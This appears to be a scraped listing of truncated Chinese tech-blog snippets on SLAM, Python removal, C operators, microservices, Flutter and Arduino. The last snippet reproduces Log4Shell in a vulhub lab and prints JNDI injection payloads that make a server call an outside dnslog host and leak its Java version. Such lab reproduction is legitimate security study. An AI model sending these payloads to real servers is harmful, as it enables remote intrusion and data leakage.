0. 简介 对于ORB-SLAM3而言。如何将代码融入Wheel和GPS是一个挺有意思的事情。通过GPS和Wheel可以非常有效的约束视觉里程计结果。Wheel这块主要就是将速度等信息融合到前端中，类似IMU和视觉帧间的关系。而GPS由于频率不是很高，所以基本是用于全局修正的…

前言 之前未知的方式安装python3环境 导致python 混乱 先将其清除 操作 X 替换为自己的python版本 卸载 Python3 首先,需要卸载 Python3 及其相关文件。在终端中运行以下命令: sudo rm -rf /Library/Frameworks/Python.framework sudo rm -rf "/Applications/Python 3.…

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

此为阅读纽曼《微服务设计》一书后总结的读书笔记&#xff0c;点此处下载PDF文档。 一、微服务的概念 微服务&#xff08;或称微服务架构&#xff09;是一种云原生架构方法&#xff0c;其核心思想在于将单个应用拆分为众多 小型、松散耦合的服务&#xff0c;服务之间均通过网…

作为初学flutter的小白来说&#xff0c;今天在模仿小米商城app的首页appbar的时候&#xff0c;遇到一个奇怪的问题&#xff0c;就是修改AppBar的backgroundColor,在首页上拉滚动时&#xff0c;设置的白色背景色不生效&#xff0c;背景色变成不是淡灰色&#xff0c;其他深色不影…

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参考&#xff1a; 摇杆电位器控制步进电机正反转调速-Arduino中文社区 - Powered by Discuz! 一个基于树莓派和Python的无人机视觉跟踪系统_ 北漠苍狼的专栏(QQ:1746430162)-CSDN博客

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…